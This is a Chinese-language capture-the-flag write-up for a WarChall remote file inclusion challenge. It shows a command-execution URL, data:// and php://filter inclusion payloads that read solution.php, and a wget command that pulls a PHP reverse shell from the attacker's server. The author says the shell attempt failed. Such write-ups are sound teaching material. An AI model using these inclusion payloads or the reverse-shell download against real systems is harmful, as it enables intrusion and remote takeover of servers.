访问http://rfi.warchall.net/。
web目录fuzz,以及index.php查看源码
远程命令执行漏洞
查看文件
1 |
|
http://rfi.warchall.net/temp/payload.php?cmd=pwd
/home/level/15_live_rfi/www/temp
1 |
|
获得flag
1 |
|
尝试写入shell
本地开启python server,放一个反弹shell的php脚本。
1 |
|
没有成功在/tmp目录下写入shell。原因可能是权限太低了。
writeup
1 |
|
这是个什么操作?
访问http://rfi.warchall.net/index.php?lang=data://text/plain,<?php print file_get_contents('solution.php',true);?>
反正失败了,没得到solution.php的结果。使用另外一种伪协议php filter
http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=/home/level/15_live_rfi/www/solution.php
1 |
|
同样可以获得solution.php
总结
出题方,肯定不会让人写入shell,或者反弹shell,不然服务器稳定性肯定会出问题。说不定会有些人写入垃圾数据塞满磁盘等等。
rfi和lfi的区别在于,远程文件包含危害更大,可以访问攻击者指定的文件。
在这里如果http://rfi.warchall.net/temp/payload.php?cmd=wget http://vps's IP:8080/php-reverse-shell.php -P /tmp/whale.php
有写权限的话,就可以得到一个shell。而本地文件包含一般要通过文件上传的方式去传一个shell,然后再通过本地文件包含漏洞去执行,而rfi就不用。
不过这里payload.php看起来像是远程命令执行漏洞,不是个rfi。而其他人的writeup虽然使用了data伪协议,去访问flag,但看起来好像还是个lfi漏洞。可能是题目没出好。
感觉没有让做题的人深刻的感受到rfi与lfi的区别,只是用了一下伪协议的知识点。